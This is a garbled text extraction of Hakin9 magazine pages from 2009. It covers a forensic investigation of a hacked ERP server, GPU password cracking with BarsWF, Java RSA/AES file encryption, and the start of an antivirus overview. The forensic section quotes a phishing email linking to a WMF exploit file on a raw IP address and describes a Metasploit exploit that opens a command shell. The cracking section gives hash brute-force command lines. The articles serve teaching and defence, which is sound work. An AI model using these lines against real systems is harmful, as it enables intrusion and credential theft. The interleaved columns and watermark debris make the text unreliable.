bu
MY ERP GOT HACKED! NOW WHAT?
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

Keyword Search However, a search on the IP address Our Google search also reveals that
It’s time now to use one of the most ’70.107.249.150’ returns 7 hits. One of those there is a working exploit imported into
powerful features of Autopsy, the Keyword includes the following email recovered Metasploit that allows an attacker to set up
Search Mode. This functionality can from a deleted file on Jonathan’s Internet a webserver on port 8080 on the attacker
automatically extract the strings from Explorer cache, under the Temporary host, to inject a specially crafted .tiff file to
a particular image and use that for Internet Files folder (see Listing 3). exploit the vulnerability and finally return a
subsequent keyword searches. At this The recovered file also contains the command shell to the attacker gaining the
point in our investigation we have several mail header that shows that it was sent on same user rights as the logged on user.
clues we can search for within the image, 5 Feb 2006 at 14:42:47 (CST), the same As we know, in this case those were full
like usernames, IP addresses, etc… date when the system user ver0k and admin rights.
In the Keyword Search mode tab, the WebERP admin user were created.
Autopsy allows to perform very unique Conclusion
searches. In fact, Autopsy can extract Putting it all together This article has introduced some of the
the unallocated data of the image and Search for the wmf and vulnerability techniques that can be used during
generate the strings file for that, so you keywords on Google and you will find the course of a computer forensic
can perform string searches on both the plenty of information related to MS06-001, investigation using many tools and
unallocated image and the full image. This a security bulletin issued by Microsoft in resources that are freely available on
is obviously useful when trying to recover January 2006 that could result in remote the Internet. However, as stated in Part I
deleted data. code execution. We can easily check that of this article, it’s necessary to reiterate
Searching the string ver0k in the the KB912919 patch that Microsoft issued that forensic investigations need to be
entire file system produces more than to address this vulnerability was never conducted only if authorized and by
1400 results, so we will need to use a installed on this machine, just by looking qualified personnel. Therefore make
different keyword to reduce these results at the KB*.log files stored under the C: sure you have the proper approval
to a manageable amount. \WINDOWS folder. before initiating any real investigation
and that the appropriate personnel (e.g.
Listing 3. Email recovered from a deleted file on Jonathan’s Internet explorer cache human resources, legal and even law
Asunto: Urgente!! (correccion) enforcement, if necessary) are notified as
Contenido: soon as possible, and if in doubt, ask for
Johnny: professional help, as that may save both
Esta es la liga correcta,
you and your employer from some serious
Por favor baja el catalogo que esta en trouble.
<a href="http://70.107.249.150:8080/clientes.wmf" target=_blank onclick="return Also there are still many other
ShowLinkWarning()" >http://70.107.249.150:8080/clientes.wmf</ techniques and topics that a computer
a>
forensic investigator need to master and
Alberto Lopez that were not analysed in this article.
Director General Those include live memory analysis and
Electronica y Computacion S.A. de C.V.
network forensics just to mention a few.
For upcoming articles on Computer
Forensics stay tuned to future Hakin9
issues!
On The 'Net
• UNAM-CERT Forensic challenge: http://www.seguridad.unam.mx/eventos/reto/
• SANS Forensic Blog: http://sansforensics.wordpress.com/ Ismael Valenzuela
Ismael Valenzuela, CISSP, CISM, GCFA, GCIA, GPEN,
• RegRipper: http://www.regripper.net/ IRCA 27001 LA, ITIL Certified
• Windows Incident Response (Harlan Carvey’s blog): http://windowsir.blogspot.com/ Since he founded G2 Security, one of the first IT
• The Sleuth Kit and Autopsy Browser: http://www.sleuthkit.org/ Security consultancies in Spain, Ismael Valenzuela has
participated as a security professional in international
• LogParser 2.2: http://www.microsoft.com/downloads/details.aspx?FamilyID=890cd06b- projects across UK, Europe, India and Australia. He
abf8-4c25-91b2-f8d975cf8c07&displaylang=en holds a Bachelor in Computer Science, is certified in
• Forensic Log Parsing with Microsoft LogParser, by Mark Burnett http:// Business Administration and also holds the following
security related certifications: GIAC Certified Forensic
www.securityfocus.com/infocus/1712
Analyst, GIAC Certified Intrusion Analyst, GIAC Certified
• Pasco analysis tool: http://sourceforge.net/project/shownotes.php?group_ Penetration Tester, ITIL, CISM, CISSP and IRCA ISO
id=78332&release_id=237810 27001 Lead Auditor by Bureau Veritas UK. He is also
a member of the SANS GIAC Advisory Board and
• Computer Forensics eStore: http://www.insectraforensics.com
international BSi Instructor for ISO 27001, ISO 20000
• Other forensic challenges: http://www.jessland.net/JISK/Forensics/Challenges.php and http: and BS 25999 courses.
//dfrws.org/2009/challenge/index.shtml He currently works as Global ICT Security Manager at
• Computer forensic links and whitepapers: http://www.forensics.nl/links iSOFT and can be contacted through his blog at http:
//blog.ismaelvalenzuela.com

5/2009 HAKIN9 45
ATTACK
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

TAM HANNA

First Password
Shooters
Difficulty
An average Graphics Processing Unit (GPU) has a dull life;
it renders aliens, objects, trees, and maybe the occasional
nude. That’s too bad for them…but mine is better off; it cracks
passwords for fun and profit (as I forget my passwords all the
time).

F
irst-person shooters definitely did a lot for NVIDIA was among the first manufacturers
the evolution of computing. Nowadays, to realize this competitive advantage in its
graphics accelerators have reached a point products. Its Compute Unified Device Architecture
where they exceed the chip size of the average (CUDA) allows developers to use GPUs (from
CPU by far. No longer are they limited to a few GeForce 8 onwards) via a C-ish interface. Since
predefined commands; the latest GPU’s from both then, applications like Photoshop were updated
ATI and NVIDIA can be harnessed for all kinds of to use these chips, sometimes increasing
(scientific) computation. performance tenfold compared to classic CPU
computation. NVIDIA actually sells Tesla cards,
Understanding GPUs which are (extremely overpriced) GPUs without
The core difference between Central Processing monitor outputs intended solely for computational
Units (CPU’s) and Graphics Processing Unit purposes.
(GPU’s) is in the name: while the first is a
CENTRAL processing unit, the latter ones go Maths and delays
by the nickname GRAPHICAL processing unit. Password cracking can take two forms: online
Many graphical tasks can be parallelized well and offline. Online password cracking tests
and consist of simple operations; all current passwords against a live system. This requires
architectures are designed for performing very little effort on the attackers end, but can
hundreds of very simple tasks at the same time be hindered with various mechanisms like
rather than having one or two cores which can do requesting CAPTCHA’s [1] after five failed log-in
“everything” reasonably well. attempts or a limited amount of attempts/time
span (see Figure 2).
CUDA et al As online systems usually take quite some
Programs like Seti@Home have taken time to respond (ping times for Google.com are,
WHAT YOU SHOULD advantage of GPUs for quite some time, and on average, at least 50ms), performing password
KNOW... managed to gain spectacular performance cracking attempts against running systems is not
Basic knowledge about boosts. CodingHorror.com (see http: done often. This leads us to offline attacks.
authentification //www.codinghorror.com/blog/archives/ In the past, passwords were stored in plain-
000823.html) performed a performance tally two text files. This meant that attackers who stole that
WHAT YOU WILL
LEARN... years ago and found out that top-of-the-line GPUs file had all the passwords, which was undesirable
of the time were up to 20 times faster than their as many systems could be exploited to reveal
How GPUs can be used tor
bruteforcing passwords corresponding CPUs (see Figure 1). these files with relative ease.

46 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
USING GRAPHICS CARDS TO BRUTE-FORCE PASSWORDS
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

�����������
Thus, hashing functions were used.
20 These return a deterministic value
when fed with input and cannot be
18
reversed; systems store these hashes
16 instead of the plain-text passwords
and compare them against the hash
14 generated from the user input (see
12 Figure 3).
Attackers who manage to get hold
10 of the stored file thus can’t extract
8 the password directly, as there is
no relationship between output and
6 input which can be exploited in a
4 computationally and mathematically
feasible way; all an attacker can do is
2 try all the possible values in order to
0 find one which matches the one stored
��� ������������� ��� in the file.

Figure 1. Relative Seti@Home performance


Parallelization
Password cracking inherently
parallelizes well, as there is very little
communication needed between
nodes. The server distributes the
ranges, and the nodes start processing
on their own. When one of them hits the
jackpot, it reports back to the server,
who then reassigns all nodes new tasks
and alerts the user.
Commercial password crackers have
supported network parallelization for quite
some time: hashes were spread over a
network of PCs, who then tried out ranges
of combinations independently. While
this accelerated the cracking process
a lot, large clusters of ordinary PCs are
Figure 2. GMail requires users to fill out a CAPTCHA after a few failed login attempts expensive to run (hugh power drain) and
maintain (large amounts of space is
������ needed).
Brute-force computing systems based
����
�����
on GPUs are cheaper: one planar can host

�������
����
Completely Automated
Public Turing test to
tell Computers and
������������
Humans Apart
������� ������������
• [1] CAPTCHA (Completely Automated
Turing Test To Tell Computers and
����� ��������
Humans Apart) is a program that
can generate and grade tests
�� ������ that humans can pass but current
computer programs cannot (http:
//en.wikipedia.org/wiki/CAPTCHA).
Figure 3. Overview of hashed password storage

5/2009 HAKIN9 47
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

multiple GPU’s with ease. Thus, ElcomSoft’s that of the regular version…except for Auditor. It is unique as it supports both
move to patent a GPU-based password significantly higher speeds (chart from NVIDIA CUDA-capable cards and
cracking algorithm was not too surprising. ElcomSoft, see Figure 4). certain ATI models (you will need an
AMD Firestream or Radeon HD3870 or
Let’s play! Attacking WiFi networks HD4000-series card).
People owning a NVIDIA GeForce 8 card ElcomSoft did not stop at attacking This provides the possibility to attack
(or better) can use a special version various files. Their latest product was WPA-PSK at an unprecedented speed of
of ElcomSoft’s Distributed Password released three months ago, and goes up to 32000 passwords per second when
Recovery. Its handling is very similar to by the name Elcomsoft Wireless Security used with high-end NVIDIA cards and can
be considered the first real threat for WPA-
PSK networks.

Password complexities
After having looked at the performance
charts above, it is now time for a bit of
mathematics. The number of possible
passwords can be computed by the
following formula:
������
�����������������������������

When looking at this formula, we see that


password complexity is affected by two
factors: the number of characters used
in the password, and the length of the
password.
This means that an 8 character
password made up of small caps only is
less difficult to crack than a 8 character
password made up of small caps and
numbers.
The chart below shows the
complexities for password consisting of
lower-case chars, lower and upper-case
Figure 4. GPU’s and Tesla cards can accelerate password cracking processes chars and lower, upper and numeric chars
significantly (see Figure 5).
The maximum cracking time can then
be deduced as follows:
������
��������������������
����������
������� �
��� � ���
����� Thus, NTLM-protected passwords with 8
characters consisting of small caps only
�����
can be broken in less than 160 seconds
����� using an NVIDIA GTX295 card which costs
less than 400 Euros as of this writing.
������������


�����
��
������
������ ���
Fun with BarsFW
ElcomSoft’s product is limited to NVIDIA
����� cards…which means that about 50% of
the world is left in the rain. Fortunately,
���
Svarychevski Michail Aleksandrovich,
� was not afraid of ATI’s less developed
� � � � � � � Brook SDK, and ported his MD5 cracker
����� BarsWF to the platform (which supports
all ATI2xxxHD or better GPUs, except for
Figure 5. More characters = better password possibly the 2900HD).

48 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

BarsWF can be downloaded from his program. Furthermore, the latest drivers
web site (http://3.14.by/en/md5) – the lines are needed – they can be obtained from
below are based on version 0.8 of the the ATI website.

Figure 6. BarsWF hard at work

Listing 1. These DLLs must be in place for BarsWF to work

E:\barswf\4ati>dir
Volume in Laufwerk E: hat keine Bezeichnung.
Volumeseriennummer: E0D4-4462

Verzeichnis von E:\barswf\4ati

30.05.2009 04:03 <DIR> .


30.05.2009 04:03 <DIR> ..
02.12.2008 15:00 315.392 brook.dll
29.04.2009 03:18 3.280.896 amdcaldd.dll
29.04.2009 03:20 45.056 amdcalrt.dll
29.04.2009 03:20 45.056 amdcalcl.dll
06.01.2009 03:51 856.064 BarsWF_Brook_x32.exe
5 Datei(en) 4.542.464 Bytes
2 Verzeichnis(se), 319.176.704 Bytes frei

E:\barswf\4ati>

Listing 2. This barsWF installation works

E:\barswf\4ati>BarsWF_Brook_x32.exe -?

Usage:
-? Prints this help
-r Continue previous work from barswf.save
BarsWF updates it every 5 minutes or on exit
-h 1b0e9fd3086d90a159a1d6cb86f11b4c Set hash to attack
-c 0aA~ Set charset. 0 – digits, a – small chars
, A – capitals, ~ – special symbols
-C "abc23#" Add custom characters to charset.

-X "0D0A00" Add custom characters in hex to charset.

-min_len 3 Minimal password length. Default 0. MAX


15!!! :-]

E:\barswf\4ati>
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
ATTACK O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

he caught, for cracking industry


passwords, how much power he'd
have, way beyond of just sending
spam,

This is unlikely IMHO, as there are way too


many different types of GPU on the market.
Supporting all of these would make for a
huge and easy-to-detect binary…you get
the idea.
However, the underlying idea is not as
unrealistic as it may seem. When done
right, a GPU-based solution can be a lot
cheaper than a system based on CPUs.
Figure 7. BarsWF again - torturing my CPU The first reason for this is that having
First of all, the archive file (BarsWF_ based machine (absolute low-end; I am multiple CPU’s on a single system requires
Brook_x32.zip) must be unpacked into a not a gamer), the program had issues with expensive and special hardware, while
folder of its own. Afterwards, three DLLs the dynamic undervolting of the GPU. This adding an extra GTX card requires but a
must be copied into the folder where the meant that the GPU crawled at 110MHZ free PCIe slot.
executable is – they are called: rather than its nominal 525, and led to a Assuming that the cost for the
rather crappy score of just 5.5 Mhash/ underlying hardware (motherboard,
• amdcalcl.dll second (see Figure 6). memory, etc) is the same, we get the
• amccaldd.dll Interpolating these numbers brings following cost per million NTLM hashes
• amdcalrt.dll us to a computational performance of (see Table 1).
about 27 MHash/second…which is about If we now assume that the underlying
Some versions of the driver prefix their on par with the performance exhibited hardware costs 400 Euro per CPU, but
names with ati rather than amd – in this by the SSE version of the program when can alternatively support 2 GPUs, the cost
case, use the system’s find to find the bound to a single core of an overclocked benefit becomes even more evident…
following dlls: Pentium E2140 (running at 2.14 GhZ, nets
about 30 MHash/second, see Figure 7). Conclusion
• aticalcl.dll German users using older versions It is now time to rethink that beloved
• aticalrt.dll of the driver (which underclock the GPU 6-character password. But: GPU-based
• aticaldd.dll less aggressively and thus save less password cracking doesn’t make the
power) have reported insane values use of passwords obsolete. If attackers
And rename them to match the names with higher-end GPU’s…keep in mind can not get a hold of hashes, attacks
in the list above (e.g. aticalcl.dll becomes that GPU per formance increases can be averted by secure application
amdcalcl.dll). Your folder should now look linearly not only with frequency but also architectures. If they do, sufficiently long
like this (see Listing 1). with the number of shaders (which and complex passwords will keep the
Once this is done, verify the tends to double or quadruple with average black-hat hacker out.
functionality of the program by invoking its high-end cards compared to baseline Technology is but one attack vector:
help function. If you get an error message models). there’s always social engineering. As
about a missing DLL, check the above long as users are willing to give out their
paragraphs (see Listing 2). Monetary matters passwords and business cards for a free
If your output looks similar to the one Don’t ask me why users in message pen, well then, you get the idea…
above, BarsWF is up and running – in boards keep posting sections like the one
which case you can torture it with a call below:
like the one below:
• And also, why not say, if some bot- Tam Hanna
Tam Hanna has been in the mobile computing industry
BarsWF_SSE2_x64.exe -h 21685d282d7909 net owner, would use all the gpus since the days of the Palm IIIc. He develops applications
for handhelds/smartphones and runs for news sites
8b89bdf5a916b66c90 -X about mobile computing:
"030405313233" -min_len 12 Table 1. Cost per Hash http://tamspalm.tamoggemon.com
http://tamspc.tamoggemon.com
Hardware Cost http://tamss60.tamoggemon.com
BarsWF will then display its status screen http://tamswms.tamoggemon.com
Core 2 Q6600 2.4 Euro / million If you have any questions regarding the article, email
with a blinking heart…and will start to author at:
bruteforce the hash. On my ATI2400- GTX295 0.43 Euro / million tamhan@tamoggemon.com

50 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k
DEFENSE
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

MICHAEL SCHRATT

RSA & AES


in JAVA
Difficulty
Cryptography is used for hiding information. The term
cryptography itself represents several algorithms like Symmetric-
key cryptography, Asymmetric-key cryptography (also called
Public-key cryptography), but also Cryptosystems and
Cryptanalysis.

T
oday, I would like to introduce to you //java.sun.com/j2se/1.4.2/download.html. So just
cryptographic functions written in JAVA, let’s make an 8192 bit RSA key file for fun (see
specifically RSA & AES. For those of you Listing 1).
who do not know RSA and AES, I have covered Compile the code and run it from the
some of the better descriptions in the link section command line. If you choose to export it as a
at the end of the article. jar file, run java –jar binary.jar to execute
The following article covers file encryption it. After execution of the code, there will be two
and decryption. The content will be encrypted new files in the current directory. The public and
with AES and the file itself with RSA. I know there private key files are generated with a key size of
are already questions like: Where to save the 8192 bits and are ready for further use. There
AES key? How to build my own RSA key files? are other key sizes available as well. We are
Do I have to use that generated key files or going to use our public key for encryption and
can I embed those in my code? If there are our private key to decrypt the encrypted data
any questions left, that I do not cover, just get in again.
contact with me!
Encryption & Decryption
Build Your Own RSA Key What I want to accomplish now, is to encrypt
Generator a file. But, it is really so simple? Let’s do a test
The most important JAVA package we need for and see how easy it is. As I told you before, the
all our operations is java.security.* and it is a content of the file should be protected by AES,
standard package. So, it should be available after which is a symmetric algorithm and the file itself
your JAVA installation. by RSA (we already have our key pair, but no
WHAT YOU SHOULD
Let me introduce a sample key generator. sample code). Many public available sources
KNOW...
Another version is available at http:// use AES for encryption and wrap the key into
Basic knowledge in JAVA
www.codeplanet.eu. The maximum key size of the file we want to encrypt. To get the key for
Basic knowledge of RSA and
AES 2048 bit is limited due a strong jurisdiction policy decryption again, we also need the key size
in JAVA 2 SDK. More information can be found available. So, just prepend the key length to the
WHAT YOU WILL at http://java.sun.com/j2se/1.4.2/docs/guide/ file content also. This can be done as an Integer
LEARN... security/jce/JCERefGuide.html – Appendix E. Object. The following code shows how to achieve
How use RSA and AES in JAVA But, there is still the possibility to download an the encryption of a file. It takes the previous
Basics in file encryption unlimited jurisdiction policy, which is covered in generated public key file, an input filename (file
Different coding styles the JAVA Cryptography Extension (JCE) at http: you want to encrypt) and an output file name as

52 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
JAVA CODING
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

Listing 1. RSA Key Generator

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.security.GeneralSecurityException;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.SecureRandom;
public class RSAKeyGenerator {
private static final int KEYSIZE = 8192;
public static void main(String[] args) {
generateKey("RSA_private.key","RSA_public.key");
}

public static void generateKey(String privateKey, String publicKey) {


try {
KeyPairGenerator pairgen = KeyPairGenerator.getInstance("RSA");
SecureRandom random = new SecureRandom();
pairgen.initialize(KEYSIZE, random);
KeyPair keyPair = pairgen.generateKeyPair();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(publicKey));
out.writeObject(keyPair.getPublic());
out.close();
out = new ObjectOutputStream(new FileOutputStream(privateKey));
out.writeObject(keyPair.getPrivate());
out.close();
} catch (IOException e) {
System.err.println(e);
} catch (GeneralSecurityException e) {
System.err.println(e);
}
}
}

Listing 2. Encryption Method

public void encryptToOutputFile(String publicKeyFile, String inputFile, String outputFile) throws FileNotFoundException,
IOException, ClassNotFoundException, GeneralSecurityException {
KeyGenerator keygen = KeyGenerator.getInstance("AES");
SecureRandom random = new SecureRandom();
keygen.init(random);
SecretKey key = keygen.generateKey();

// Wrap with public key

ObjectInputStream keyIn = new ObjectInputStream(new FileInputStream(publicKeyFile));


Key publicKey = (Key) keyIn.readObject();
keyIn.close();

Cipher cipher = Cipher.getInstance("RSA");


cipher.init(Cipher.WRAP_MODE, publicKey);
byte[] wrappedKey = cipher.wrap(key);
DataOutputStream out = new DataOutputStream(new FileOutputStream(outputFile));
out.writeInt(wrappedKey.length);
out.write(wrappedKey);

InputStream in = new FileInputStream(inputFile);


cipher = Cipher.getInstance("AES");
cipher.init(Cipher.ENCRYPT_MODE, key);
crypt(in, out, cipher);
in.close();
out.close();
}

5/2009 HAKIN9 53
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
DEFENSE O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

parameters. The cipher object provides The next step is to write a function for before, we need the private key for the
all necessary modes for wrapping and the decrypting operations. Have a look decrypt exercise. This function takes
encryption (see Listing 2). at the code in Listing 3. As mentioned an encrypted input file and stores the
decrypted file at the output file location
you defined as a parameter. We can
Listing 3. Decryption Method
also see how the wrapped key can be
public void decryptFromOutputFile(String privatecKeyFile, String inputFile, String extracted from the file again.
outputFile) throws IOException, ClassNotFoundException, Up to now, no strange things have
GeneralSecurityException {
occurred and everything is fine. But I do
DataInputStream in = new DataInputStream(new FileInputStream(inputFile)); not want to permanently use the key files.
int length = in.readInt(); This is where the Key File Transformer
byte[] wrappedKey = new byte[length]; comes into play. The transformer outputs
in.read(wrappedKey, 0, length);
a byte code, which can be embedded
// Open with private key into a package or class. Why do I want
ObjectInputStream keyIn = new ObjectInputStream(new FileInputStream(privatec to do so? In most environments, more
KeyFile));
than one person has access to servers,
Key privateKey = (Key) keyIn.readObject();
keyIn.close(); workstations etc. I do not want my private
key file to get published or distributed
Cipher cipher = Cipher.getInstance("RSA"); and it used for decrypting my programs
cipher.init(Cipher.UNWRAP_MODE, privateKey);
cache in an illegal manner. Or, if I use my
Key key = cipher.unwrap(wrappedKey, "AES", Cipher.SECRET_KEY);
private key in a file based mode, it could
OutputStream out = new FileOutputStream(outputFile); be recovered through a simple routine if
cipher = Cipher.getInstance("AES"); it gets deleted or lost. So, an automated
cipher.init(Cipher.DECRYPT_MODE, key);
continuity process can be implemented.
crypt(in, out, cipher); This tool recovers itself. Cool!!
in.close();

}
out.close();
The Key File Transformer
What possibilities do I have? Perhaps
there is a way to transform my key file
into unreadable code that can be stored
Table 1. PKCS Standards
or embedded and it can be used during
Standard Description encryption and decryption? The code that
PKCS 1 RSA Cryptography Standard you can see in Listing 4 is called The Key
PKCS 2 Not available File Transformer.
Now you have a new function to
PKCS 3 Diffie-Hellman Key Agreement Standard
transform your private or/and public key
PKCS 4 Not available file into a byte array. The steps are, get the
PKCS 5 Password-based Encryption Standard encoded hash code from your key file and
format it in hex. Some modifications can
PKCS 6 Extended-Certificate Syntax Standard
be performed for easier handling of file
PKCS 7 Cryptographic Message Syntax Standard input, but this is a sample code anyway.
PKCS 8 Private-Key Information Syntax Standard And it works great! As I reached that step,
I thought, that everything is easy. The next
PKCS 9 Selected Attribute Types
steps are to interpret a byte array as a
PKCS 10 Certification Request Standard working key.
PKCS 11 Cryptographic Token Interface
PKCS 12 Personal Information Exchange Syntax Transform a Byte Array
Standard Back to a Working Key
To use our embedded byte array we have
PKCS 13 Elliptic Curve Cryptography Standard
(ECC) to modify the encryption and decryption
function to use the byte array instead of
PKCS 14 Pseudo Random Number Generation
the external stored key files. First, adapt the
(PRNG)
input parameters please see the Listing 5
PKCS 15 Cryptographic Token Information Format and adapt the decryption function, as it is
Standard
shown in the Listing 6.

54 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
DEFENSE O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

Listing 4. Key File Transformer

import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.security.GeneralSecurityException;
import java.security.Key;
/*
* Private/Public Key File to Encoded Key Byte[]
*/
public class KeyToByteArray {
public static void main(String[] args) throws FileNotFoundException, IOException, ClassNotFoundException,
GeneralSecurityException {
/*
* Define Arguments
*/
ObjectInputStream keyIn = new ObjectInputStream(new FileInputStream("RSA_private.key"));
Key privateKey = (Key) keyIn.readObject();
keyIn.close();
byte[] k = privateKey.getEncoded();
System.out.println(privateKey.getFormat());
System.out.println(k.length);
for(int i = 0; i < k.length; i++) {
System.out.print(k[i]);
}
System.out.println();
System.out.println("Created byte[] of length : " + k.length);
System.out.println("Convert byte[] to String : " + bytesToHex(k));
System.out.println("---------------------------------");
System.out.println();
System.out.print("byte[] encPKe = { ");
int j = 0;
for (int i = 0; i < k.length; i++) {
if(i == k.length-1)
System.out.print("(byte)0x" + byteToHex(k[i]) + " ");
else
System.out.print("(byte)0x" + byteToHex(k[i]) + ", ");
j++;
if(j == 6) {
System.out.println();
j = 0;
}
}
System.out.println("};");
System.out.println();
}
public static String bytesToHex(byte[] data) {
StringBuffer buf = new StringBuffer();
for (int i = 0; i < data.length; i++) {
buf.append(byteToHex(data[i]).toUpperCase());
}
return (buf.toString());
}
public static String byteToHex(byte data) {
StringBuffer buf = new StringBuffer();
buf.append(toHexChar((data >>> 4) & 0x0F));
buf.append(toHexChar(data & 0x0F));
return buf.toString();
}
public static char toHexChar(int i) {
if ((0 <= i) && (i <= 9)) {
return (char) ('0' + i);
} else {
return (char) ('a' + (i – 10));
}
}
}

56 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
JAVA CODING
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

Listing 5. Modified Encryption Method

public void encryptWKf(byte[] encPk, String inputFile, String outputFile) throws FileNotFoundException, IOException,
ClassNotFoundException, GeneralSecurityException { …

Listing 6. Modified Decryption Method

public String decryptWKf(byte[] encPk, String inputFile) throws IOException, ClassNotFoundException, GeneralSecurityException { …

Listing 7. Modified Encryption Method 2

public void encryptWKf(byte[] encPk, String in, String outputFile) throws FileNotFoundException, IOException,
ClassNotFoundException, GeneralSecurityException { …

Listing 8. PKCS8 Key Specifications

// make key out of encrypted private key byte[]


PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(encPk);
KeyFactory keyFactory = KeyFactory.getInstance("RSA");
PrivateKey privateKey = keyFactory.generatePrivate(keySpec);

Listing 9. X509 Key Specifications

// make key out of encrypted public key byte[]


X509EncodedKeySpec keySpec = new X509EncodedKeySpec(encPk);
KeyFactory keyFactory = KeyFactory.getInstance("RSA");
PublicKey publicKey = keyFactory.generatePublic(keySpec);

Of course, you can adapt it the way specifications. PKCS means Public PKCS8EncodedKeySpec object, which
you want or need the function. Maybe Key Cryptography Standards. Over all, can take an array as parameter, create
there is the requirement to encrypt strings there are 15 PKC Standards which were a KeyFactory object to define the RSA
at the command line. This would look like it developed by the RSA-Laboratories in instance, and at least, use both objects to
is shown in the Listing 7. 1991. Now, let’s develop the code that compile the private key (see Listing 8).
There are several imaginable interprets our byte array. On the private The same way is applicable to specify
possibilities which can be of advance. key side we normally read the private key a public key object (see Listing 9).
The next big step is to get our working file through an Object Stream and can
keys. First of all, we need to know how directly define a key object in our code. Conclusion
private and public keys are usually No specifications have to be coded. We have now achieved our objective. We
encrypted. We know PKCS and any In JAVA, there are three packages we now know what the difference is between
X.509 Certificates. But which standard need to make a key out of a hashed RSA and AES; I also mentioned some
belongs to which key? In general private byte array. PKCS8EncodedKeySpec, practical examples. It is really easy to
keys have PKCS key specifications KeyFactory, PrivateKey – these are understand JAVA! You only need to know
and public keys have X.509 standard the needed packages. Create a what functions are available and where
to look for adequate information about
those functions. But, there are lots of JAVA
On the 'Net documentations out there in the wild.
• http://en.wikipedia.org/wiki/RSA
• http://en.wikipedia.org/wiki/Advanced_Encryption_Standard
• http://en.wikipedia.org/wiki/Elliptic_curve_cryptography
• http://en.wikipedia.org/wiki/Public-key_cryptography
• http://en.wikipedia.org/wiki/Diffie-Hellman
• http://en.wikipedia.org/wiki/Symmetric-key_algorithm
• http://en.wikipedia.org/wiki/Data_Encryption_Standard
• http://en.wikipedia.org/wiki/Triple_DES
• http://www.codeplanet.eu – JAVA Code Samples
• http://java.sun.com/j2se/1.4.2/docs/guide/security/ – JAVA Security Documentation Michael Schratt
Michael Schratt deals with Information Security, is an
• http://java.sun.com/developer/technicalArticles/Security/AES/AES_v1.html – JAVA AES
enthusiastic programmer, holds some certificates
Documentation & Samples in good standing and has several years experience
• http://java.sun.com/j2se/1.4.2/docs/api/ – JAVA Function Library in Web Application Security and Penetration Testing.
Contact: mail@mfs-enterprise.com

5/2009 HAKIN9 57
DEFENSE
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

RYAN HICKS

AV Scanner 101
Difficulty

Over the past two decades antivirus technology has evolved


considerably. The changing nature of threats has driven research
and development in order to combat the flood of new malware.

W
hile there are different approaches have emerged in recent years there is still a
to scanning technology, certainly need for signature-based scanning. As such,
different vendors make distinct it is necessary to have the infrastructure and
architectural and implementation decisions, staff available to gather samples, analyze
there are certain commonalities that are them, and produce the resulting signature sets.
present in most modern antivirus scanners. This process requires skill and resources. The
This article will give an over view of the histor y of protection provided by antivirus scanners is
scanning technology, a description of the most related to both the technology of the scanner
common techniques, and illustrate potential and the ability of the research organization
future developments. producing the signature sets. It is quite
In order to better understand antivirus reasonable to envision a scenario where a
